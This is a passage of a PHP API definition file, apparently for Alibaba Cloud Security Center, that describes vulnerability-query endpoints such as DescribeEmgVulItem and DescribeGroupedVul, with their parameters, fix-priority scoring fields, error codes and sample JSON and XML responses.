'漏洞修复的必要性因子。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '漏洞修复紧急度得分状态。取值：'."\n" + ."\n" + .'- **none**：未生成分数'."\n" + .'- **pending**：等待计算中'."\n" + .'- **normal**：正常', + 'type' => 'string', + 'example' => 'normal', + ], + 'Time_factor' => [ + 'description' => '时间因子。', + 'type' => 'string', + 'example' => '1.0', + ], + 'Enviroment_factor' => [ + 'description' => '环境因子。', + 'type' => 'string', + 'example' => '1.0', + ], + 'Is_calc' => [ + 'description' => '是否已计算出漏洞修复建议得分。取值：'."\n" + .'- **0**：未计算'."\n" + .'- **1**：已计算', + 'type' => 'string', + 'example' => '1', + ], + 'Total_score' => [ + 'description' => '漏洞修复紧急度得分。'."\n" + ."\n" + .'根据漏洞得分提供以下修复建议：'."\n" + ."\n" + .'- **13.5~15分（含13.5分和15分）**：通常代表高危漏洞，需尽快修复。'."\n" + .'- **7~13.5分（含7分）**：通常代表中危漏洞，可延后修复。'."\n" + .'- **7分以下**：通常代表低危漏洞，暂可不修复。'."\n", + 'type' => 'string', + 'example' => '7.8', + ], + 'Cvss_factor' => [ + 'description' => 'CVSS因子。', + 'type' => 'string', + 'example' => '7.8', + ], + 'Assets_factor' => [ + 'description' => '资产重要性因子。以下是资产重要性因子和资产类型的对应关系：'."\n" + .'- **2**：重要资产'."\n" + .'- **1**：一般资产'."\n" + .'- **0**：测试资产', + 'type' => 'string', + 'example' => '1', + ], + ], + ], + ], + ], + 'Bind' => [ + 'description' => '资产是否已绑定授权。取值：'."\n" + ."\n" + .'- **true**：已绑定授权'."\n" + .'- **false**：未绑定授权', + 'type' => 'boolean', + 'example' => 'true', + ], + 'OsName' => [ + 'description' => '资产的操作系统名称。', + 'type' => 'string', + 'example' => 'CentOS 7.2 64位', + ], + 'AuthVersion' => [ + 'description' => '资产的授权版本。取值：'."\n" + ."\n" + .'- **1**：免费版'."\n" + .'- **6**：防病毒版'."\n" + .'- **5**：高级版'."\n" + .'- **3**：企业版'."\n" + .'- **7**：旗舰版'."\n" + .'- **10**：增值服务版', + 'type' => 'string', + 'example' => '3', + ], + 'RealRisk' => [ + 'description' => '是否是真实风险漏洞。取值：'."\n" + ."\n" + .'- **true**：属于真实风险漏洞。'."\n" + ."\n" + .'- **false**：不属于真实风险漏洞。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RuleTag' => [ + 'description' => '规则标签。取值：'."\n" + ."\n" + .'- **AI**：属于AI组件漏洞。', + 'type' => 'string', + 'example' => 'AI', + ], + 'Image' => [ + 'description' => '镜像信息。', + 'type' => 'string', + 'example' => 'registry-cn-**-vpc.ack.**.com/acs/ack-node-problem-detector:v0.8.16-8ed7053-**', + ], + 'Namespace' => [ + 'description' => '命名空间。', + 'type' => 'string', + 'example' => 'kube-system', + ], + ], + ], + ], + 'NextToken' => [ + 'description' => '使用NextToken方式下返回的NextToken值。', + 'type' => 'string', + 'example' => 'E17B501887A2D3AA5E8360A6EFA3B***', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'InnerError', + 'errorMessage' => 'InnerError', + ], + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + [ + 'errorCode' => 'DataNotExists', + 'errorMessage' => '%s data not exist', + ], + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + [ + 'errorCode' => 'MissingType', + 'errorMessage' => 'Type is mandatory for this action.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"2F26AB2A-1075-488F-8472-40E5DB486ACC\\",\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 2,\\n \\"VulRecords\\": [\\n {\\n \\"Status\\": 1,\\n \\"RaspDefend\\": 1,\\n \\"RaspStatus\\": 1,\\n \\"Type\\": \\"cve\\",\\n \\"ModifyTs\\": 1620404763000,\\n \\"InternetIp\\": \\"1.2.XX.XX\\",\\n \\"PrimaryId\\": 101162078,\\n \\"Tag\\": \\"oval\\",\\n \\"K8sClusterId\\": \\"c863dc93bed3843de9934d4346dc4****\\",\\n \\"K8sNodeId\\": \\"i-bp1ifm6suw9mnbsr****\\",\\n \\"InstanceName\\": \\"testInstance\\",\\n \\"Online\\": true,\\n \\"OsVersion\\": \\"linux\\",\\n \\"Name\\": \\"oval:com.redhat.rhsa:def:20170574\\",\\n \\"Progress\\": 100,\\n \\"ResultCode\\": \\"0\\",\\n \\"InstanceId\\": \\"i-bp18t***\\",\\n \\"Related\\": \\"CVE-2017-7518,CVE-2017-12188\\",\\n \\"IntranetIp\\": \\"1.2.XX.XX\\",\\n \\"LastTs\\": 1620404763000,\\n \\"FirstTs\\": 1554189334000,\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"Necessity\\": \\"asap\\",\\n \\"RepairTs\\": 1541207563000,\\n \\"Uuid\\": \\"04c56617-23fc-43a5-ab9b-****\\",\\n \\"K8sPodName\\": \\"deployment-riskai-7b67d68975-m****\\",\\n \\"ContainerId\\": \\"04d20e98c8e2c93b7b864372084320a15a58c8671e53c972ce3a71d9c163****\\\\n\\",\\n \\"GroupId\\": 281801,\\n \\"ResultMessage\\": \\"timeout\\",\\n \\"K8sNamespace\\": \\"default\\",\\n \\"AliasName\\": \\"RHSA-2019:0230-Important: polkit security update\\",\\n \\"K8sNodeName\\": \\"deployment-riskai-7b67d68975-m****\\",\\n \\"ExtendContentJson\\": {\\n \\"Status\\": \\"1\\",\\n \\"EmgProof\\": \\"com.xxl.rpc.util.XxlRpcException: xxl-rpc request data is empty.\\\\\\\\n\\\\\\\\tat com.xxl.rpc.remoting.net.impl.servlet.serve\\\\\\"\\",\\n \\"Ip\\": \\"1.2.XX.XX\\",\\n \\"PrimaryId\\": 111,\\n \\"Os\\": \\"centos\\",\\n \\"Tag\\": \\"oval\\",\\n \\"LastTs\\": 1620404763000,\\n \\"Description\\": \\"kernel version:5.10.84-10.2.al8.x86_64\\",\\n \\"OsRelease\\": \\"7\\",\\n \\"AliasName\\": \\"RHSA-2019:0230-Important: polkit security update\\",\\n \\"Target\\": \\"http://39.99.XX.XX:30005/toLogin\\",\\n \\"AbsolutePath\\": \\"/roo/www/web\\",\\n \\"RpmEntityList\\": [\\n {\\n \\"FullVersion\\": \\"3.10.0-693.2.2.el7\\",\\n \\"Version\\": \\"3.10.0\\",\\n \\"MatchDetail\\": \\"python-perf version less than 0:3.10.0-693.21.1.el7\\",\\n \\"ImageName\\": \\"registry_387ytb_xxx\\",\\n \\"Path\\": \\"/usr/lib64/python2.7/site-packages\\",\\n \\"ContainerName\\": \\"k8s_67895c4_xxx\\",\\n \\"Name\\": \\"python-perf\\",\\n \\"UpdateCmd\\": \\"*** update python-perf\\",\\n \\"MatchList\\": [\\n \\"fastjson(jar) extendField.safemode equals false\\"\\n ],\\n \\"Pid\\": \\"8664\\",\\n \\"ExtendField\\": \\"{\\\\\\"msg_no_lookups_configured_CVE_2021_44228\\\\\\": \\\\\\"false\\\\\\", \\\\\\"jndi_class_not_exist\\\\\\": \\\\\\"false\\\\\\"}\\"\\n }\\n ],\\n \\"cveList\\": [\\n \\"CVE-2016-8610\\"\\n ],\\n \\"Necessity\\": {\\n \\"Status\\": \\"normal\\",\\n \\"Time_factor\\": \\"1.0\\",\\n \\"Enviroment_factor\\": \\"1.0\\",\\n \\"Is_calc\\": \\"1\\",\\n \\"Total_score\\": \\"7.8\\",\\n \\"Cvss_factor\\": \\"7.8\\",\\n \\"Assets_factor\\": \\"1\\"\\n }\\n },\\n \\"Bind\\": true,\\n \\"OsName\\": \\"CentOS 7.2 64位\\",\\n \\"AuthVersion\\": \\"3\\",\\n \\"RealRisk\\": true,\\n \\"RuleTag\\": \\"AI\\",\\n \\"Image\\": \\"registry-cn-**-vpc.ack.**.com/acs/ack-node-problem-detector:v0.8.16-8ed7053-**\\",\\n \\"Namespace\\": \\"kube-system\\"\\n }\\n ],\\n \\"NextToken\\": \\"E17B501887A2D3AA5E8360A6EFA3B***\\"\\n}","errorExample":""},{"type":"xml","example":"\\n2\\n20\\n2F26AB2A-1075-488F-8472-40E5DB486ACC\\n\\n 1\\n i-bp18t***\\n linux\\n asap\\n 1620404763000\\n timeout\\n 1.2.XX.XX\\n 281801\\n oval:com.redhat.rhsa:def:20170574\\n 测试ECS\\n 1541207563000\\n 1554189334000\\n cve\\n 1620404763000\\n CVE-2017-7518,CVE-2017-12188\\n 04c56617-23fc-43a5-ab9b-****\\n 1.2.XX.XX\\n RHSA-2019:0230-Important: polkit security update\\n oval\\n true\\n 0\\n 101162078\\n \\n 1\\n centos\\n 1.2.XX.XX\\n RHSA-2019:0230-Important: polkit security update\\n 1620404763000\\n oval\\n /roo/www/web\\n 7\\n 111\\n \\n /usr/lib64/python2.7/site-packages\\n registry_387ytb_xxx\\n *** update python-perf\\n k8s_67895c4_xxx\\n 3.10.0\\n 3.10.0-693.2.2.el7\\n python-perf version less than 0:3.10.0-693.21.1.el7\\n python-perf\\n \\n [\\"CVE-2016-8610\\", \\"CVE-2017-5335\\" ]\\n \\n 7.8\\n normal\\n 1\\n 7.8\\n 1\\n 1\\n 1\\n \\n \\n\\n1\\n","errorExample":""}]', + 'title' => '根据漏洞类型查询对应漏洞信息', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeEmgVulItem' => [ + 'summary' => '查询应急漏洞的详细信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '指定请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'RiskStatus', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的漏洞风险状态。 '."\n" + .'如果不设置该参数的取值，会默认返回全部风险状态的漏洞（包括存在风险和无风险）。取值：'."\n" + .'- **y**：存在风险'."\n" + .'- **n**：无风险', + 'type' => 'string', + 'required' => false, + 'example' => 'y', + ], + ], + [ + 'name' => 'ScanType', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的漏洞检测方式。 '."\n" + .'如果不设置该参数的取值，会默认返回全部检测方式的漏洞（包括版本检测和网络扫描）。取值：'."\n" + .'- **python**：版本检测（服务器软件版本检测）。检测您的服务器是否存在已披露的软件漏洞。'."\n" + .'- **scan**：网络扫描（网络流量检测）。检测您的公网资产（即公网可访问的服务器）是否存在漏洞。', + 'type' => 'string', + 'required' => false, + 'example' => 'python', + ], + ], + [ + 'name' => 'CheckType', + 'in' => 'query', + 'schema' => [ + 'title' => '检测方式', + 'description' => '检测方式。取值：'."\n" + ."\n" + .'- **0**：POC验证'."\n" + .'- **1**：版本比对', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'VulName', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的应急漏洞名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'Changjietong T + SetupAccount/Upload.aspx file Upload vulnerability (CNVD-2022-60632)', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的应急漏洞信息的数量。默认值为**10**，表示每页显示10条应急漏洞信息，最大取值50。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号ID（阿里云账号）。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '127608589417****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '从返回结果中的第几页开始显示。起始值为**1**。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'BC1868ED-A0E1-4D1C-BF7E-10DC0C34B3C3', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的应急漏洞信息的数量。默认值为**10**，表示每页显示10条应急漏洞信息。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalCount' => [ + 'description' => '查询到的应急漏洞总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'GroupedVulItems' => [ + 'description' => '查询到的应急漏洞信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '漏洞检测状态。取值：'."\n" + .'- **10**：未检测'."\n" + .'- **20**：检测中'."\n" + .'- **30**：已完成检测', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '30', + ], + 'Type' => [ + 'description' => '漏洞的检测方式。取值：'."\n" + .'- **python**：版本检测（服务器软件版本检测）。检测您的服务器是否存在已披露的软件漏洞。'."\n" + .'- **scan**：网络扫描（网络流量检测）。检测您的公网资产（即公网可访问的服务器）是否存在漏洞。', + 'type' => 'string', + 'example' => 'scan', + ], + 'CheckType' => [ + 'description' => '检查类型。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'GmtLastCheck' => [ + 'description' => '最近一次检测漏洞的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1619286031000', + ], + 'Progress' => [ + 'description' => '漏洞检测进度。取值范围：0~100。'."\n" + .'> 只有检测状态为检测中的应急漏洞会展示该参数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '50', + ], + 'Description' => [ + 'description' => '漏洞的简介。', + 'type' => 'string', + 'example' => 'Chanjet T-Plus is an Internet business management software. There is an unauthorized access vulnerability in one of its interfaces disclosed on the Internet. Attackers can construct malicious requests to upload malicious files to execute arbitrary code and control the server.', + ], + 'GmtPublish' => [ + 'description' => '漏洞发布时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1618887687000', + ], + 'PendingCount' => [ + 'description' => '待处理漏洞数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'AliasName' => [ + 'description' => '漏洞名称。', + 'type' => 'string', + 'example' => 'Changjietong T + SetupAccount/Upload.aspx file Upload vulnerability (CNVD-2022-60632)', + ], + 'Name' => [ + 'description' => '扫描规则名称。', + 'type' => 'string', + 'example' => 'scan:AVD-2021-179344', + ], + 'RaspDefend' => [ + 'description' => '支持RASP实时防护，取值：'."\n" + .'- **0**：不支持'."\n" + .'- **1**：支持'."\n" + .'> 无该属性也表示不支持。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'UnknownError', + 'errorMessage' => 'UnknownError', + ], + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"BC1868ED-A0E1-4D1C-BF7E-10DC0C34B3C3\\",\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 1,\\n \\"GroupedVulItems\\": [\\n {\\n \\"Status\\": 30,\\n \\"Type\\": \\"scan\\",\\n \\"CheckType\\": 1,\\n \\"GmtLastCheck\\": 1619286031000,\\n \\"Progress\\": 50,\\n \\"Description\\": \\"Chanjet T-Plus is an Internet business management software. There is an unauthorized access vulnerability in one of its interfaces disclosed on the Internet. Attackers can construct malicious requests to upload malicious files to execute arbitrary code and control the server.\\",\\n \\"GmtPublish\\": 1618887687000,\\n \\"PendingCount\\": 0,\\n \\"AliasName\\": \\"Changjietong T + SetupAccount/Upload.aspx file Upload vulnerability (CNVD-2022-60632)\\",\\n \\"Name\\": \\"scan:AVD-2021-179344\\",\\n \\"RaspDefend\\": 1\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询应急漏洞信息', + ], + 'DescribeGroupedVul' => [ + 'summary' => '分组查询漏洞信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92088', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的漏洞类型。默认cve。取值：'."\n" + ."\n" + .'- **cve**：Linux漏洞'."\n" + .'- **sys**：Windows漏洞'."\n" + .'- **cms**：WebCMS漏洞'."\n" + .'- **app**：应用漏洞（网络扫描）'."\n" + .'- **sca**：应用漏洞（软件成分分析）', + 'type' => 'string', + 'required' => false, + 'example' => 'cve', + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的服务器的UUID。多个UUID使用半角逗号（,）分隔。', + 'type' => 'string', + 'required' => false, + 'example' => 'd42f938c-d962-48a0-90f9-05e4ea****', + ], + ], + [ + 'name' => 'AliasName', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的漏洞的别名。', + 'type' => 'string', + 'required' => false, + 'example' => 'RHSA-2019:0230-Important: polkit security update', + ], + ], + [ + 'name' => 'Necessity', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的漏洞修复的优先级。多个优先级使用半角逗号（,）分隔。取值：'."\n" + ."\n" + .'- **asap**：高'."\n" + .'- **later**：中'."\n" + .'- **nntf**：低', + 'type' => 'string', + 'required' => false, + 'example' => 'asap,later,nntf', + ], + ], + [ + 'name' => 'Dealed', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞是否处理。取值：'."\n" + ."\n" + .'- **y**：已处理'."\n" + .'- **n**：未处理', + 'type' => 'string', + 'required' => false, + 'example' => 'n', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的漏洞信息的数量。默认值为10，表示每页显示10条漏洞信息。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'GroupId', + 'in' => 'query', + 'schema' => [ + 'description' => '资产分组的ID。', + 'type' => 'string', + 'required' => false, + 'example' => '235454', + ], + ], + [ + 'name' => 'CveId', + 'in' => 'query', + 'schema' => [ + 'description' => 'CVE 编号。'."\n" + .'>调用[DescribeVulListPage](~~DescribeVulListPage~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'CVE-2017-15420', + ], + ], + [ + 'name' => 'ContainerFieldName', + 'in' => 'query', + 'allowEmptyValue' => false, + 'schema' => [ + 'description' => '容器检索项。取值：'."\n" + ."\n" + .'- **instanceId**：实例ID'."\n" + .'- **appName**：应用名'."\n" + .'- **clusterId**：集群ID'."\n" + .'- **regionId**：地域'."\n" + .'- **nodeName**：节点名'."\n" + .'- **namespace**：命名空间'."\n" + .'- **clusterName**：集群名称'."\n" + .'- **image**：镜像名称'."\n" + .'- **imageRepoName**：镜像的仓库名称'."\n" + .'- **imageRepoNamespace**：镜像的仓库命名空间'."\n" + .'- **imageRepoTag**：镜像的标签'."\n" + .'- **imageDigest**：镜像摘要', + 'type' => 'string', + 'required' => false, + 'example' => 'appName', + ], + ], + [ + 'name' => 'ContainerFieldValue', + 'in' => 'query', + 'schema' => [ + 'description' => '**ContainerFieldName**对应的取值。', + 'type' => 'string', + 'required' => false, + 'example' => 'cc914b0df156d40148412afe4a581****', + ], + ], + [ + 'name' => 'TargetType', + 'in' => 'query', + 'schema' => [ + 'description' => '容器查询类型。取值：'."\n" + ."\n" + .'- **containerId**：容器ID'."\n" + .'- **uuid**：资产ID', + 'type' => 'string', + 'required' => false, + 'example' => 'containerId', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '集群ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'c88fb10da1168494091db6aafc5dd****', + ], + ], + [ + 'name' => 'SearchTags', + 'in' => 'query', + 'schema' => [ + 'description' => '按照标签过滤。取值：'."\n" + ."\n" + .''."\n" + ."\n" + .'- **需要重启**'."\n" + .'- **远程利用**'."\n" + .'- **存在EXP**'."\n" + .'- **可被利用**'."\n" + .'- **本地提权**'."\n" + .'- **代码执行**'."\n" + .''."\n" + ."\n" + .''."\n" + ."\n" + .'- **Restart required**'."\n" + .'- **Remote utilization**'."\n" + .'- **EXP exists**'."\n" + .'- **Available**'."\n" + .'- **Elevation of Privilege**'."\n" + .'- **Code Execution**'."\n" + .'', + 'type' => 'string', + 'required' => false, + 'example' => 'Code Execution', + ], + ], + [ + 'name' => 'AttachTypes', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞类型。该查询条件仅对查询应用漏洞有效。多个使用半角逗号（,）分隔。取值：'."\n" + .'- **sca**：软件成分分析漏洞'."\n" + .'- **app**：应用漏洞', + 'type' => 'string', + 'required' => false, + 'example' => 'sca', + ], + ], + [ + 'name' => 'AssetType', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞所在资产类型。多个类型使用半角逗号（,）分隔。取值：'."\n" + .'- **ECS**：主机资产'."\n" + .'- **CONTAINER**：容器资产', + 'type' => 'string', + 'required' => false, + 'example' => 'ECS,CONTAINER', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号主账号ID。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '127608589417****', + ], + ], + [ + 'name' => 'RaspDefend', + 'in' => 'query', + 'schema' => [ + 'description' => '应用防护（RASP）是否支持实时防护该漏洞。取值：'."\n" + ."\n" + .'- **0**：不支持'."\n" + .'- **1**：支持', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '分组查询漏洞信息返回信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '9BFA6D78-07EA-5C0A-9358-E4434573507B', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的漏洞信息的数量。默认值为10，表示每页显示10条漏洞信息。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询结果的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'GroupedVulItems' => [ + 'description' => '查询到的漏洞信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '漏洞类型。取值：'."\n" + ."\n" + .'- **cve**：Linux漏洞'."\n" + .'- **sys**：Windows漏洞'."\n" + .'- **cms**：WebCMS漏洞'."\n" + .'- **app**：应用漏洞'."\n" + .'- **emg**：应急漏洞'."\n" + .'- **sca**：软件成分分析', + 'type' => 'string', + 'example' => 'cve', + ], + 'NntfCount' => [ + 'description' => '修复优先级为**低**的漏洞的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '59', + ], + 'RaspDefend' => [ + 'description' => '支持RASP实时防护，取值：'."\n" + .'- **0**：不支持'."\n" + .'- **1**：支持'."\n" + .'> 无该属性也表示不支持。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'HandledCount' => [ + 'description' => '已处理的漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'GmtFirst' => [ + 'description' => '漏洞首次发现的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1639371046000', + ], + 'GmtLast' => [ + 'description' => '漏洞最后发现的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1639371446000', + ], + 'Tags' => [ + 'description' => '漏洞标签。取值：'."\n" + ."\n" + .''."\n" + ."\n" + .'- **需要重启**'."\n" + .'- **远程利用**'."\n" + .'- **存在EXP**'."\n" + .'- **可被利用**'."\n" + .'- **本地提权**'."\n" + .'- **代码执行**'."\n" + .''."\n" + ."\n" + .''."\n" + ."\n" + .'- **Restart required**'."\n" + .'- **Remote utilization**'."\n" + .'- **EXP exists**'."\n" + .'- **Available**'."\n" + .'- **Elevation of Privilege**'."\n" + .'- **Code Execution**'."\n" + .'', + 'type' => 'string', + 'example' => 'Code Execution', + ], + 'LaterCount' => [ + 'description' => '修复优先级为**中**的漏洞的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'AliasName' => [ + 'description' => '漏洞别名。', + 'type' => 'string', + 'example' => 'RHSA-2017:0184-Important: mysql security update', + ], + 'Name' => [ + 'description' => '漏洞名称。', + 'type' => 'string', + 'example' => 'oval:com.redhat.rhsa:def:20170184', + ], + 'TotalFixCount' => [ + 'description' => '已修复漏洞的总数量。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'AsapCount' => [ + 'description' => '修复优先级为**高**的漏洞的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Related' => [ + 'description' => '漏洞关联的CVE列表。', + 'type' => 'string', + 'example' => 'CVE-2023-24881,CVE-2023-24898', + ], + 'LanguageType' => [ + 'description' => '漏洞关联的语言类型。取值：'."\n" + .'- **java**'."\n" + .'- **php**'."\n" + .'> 仅适用于sca漏洞。', + 'type' => 'string', + 'example' => 'java', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"9BFA6D78-07EA-5C0A-9358-E4434573507B\\",\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 1,\\n \\"GroupedVulItems\\": [\\n {\\n \\"Type\\": \\"cve\\",\\n \\"NntfCount\\": 59,\\n \\"RaspDefend\\": 1,\\n \\"HandledCount\\": 0,\\n \\"GmtFirst\\": 1639371046000,\\n \\"GmtLast\\": 1639371446000,\\n \\"Tags\\": \\"Code Execution\\",\\n \\"LaterCount\\": 0,\\n \\"AliasName\\": \\"RHSA-2017:0184-Important: mysql security update\\",\\n \\"Name\\": \\"oval:com.redhat.rhsa:def:20170184\\",\\n \\"TotalFixCount\\": 0,\\n \\"AsapCount\\": 0,\\n \\"Related\\": \\"CVE-2023-24881,CVE-2023-24898\\",\\n \\"LanguageType\\": \\"java\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"2\\n20\\n0DFCADBA-7065-42DA-AF17-6868B9C2A8CF\\n1\\n\\n cve\\n 0\\n 1554185744000\\n 0\\n RHSA-2019:0230-Important: polkit 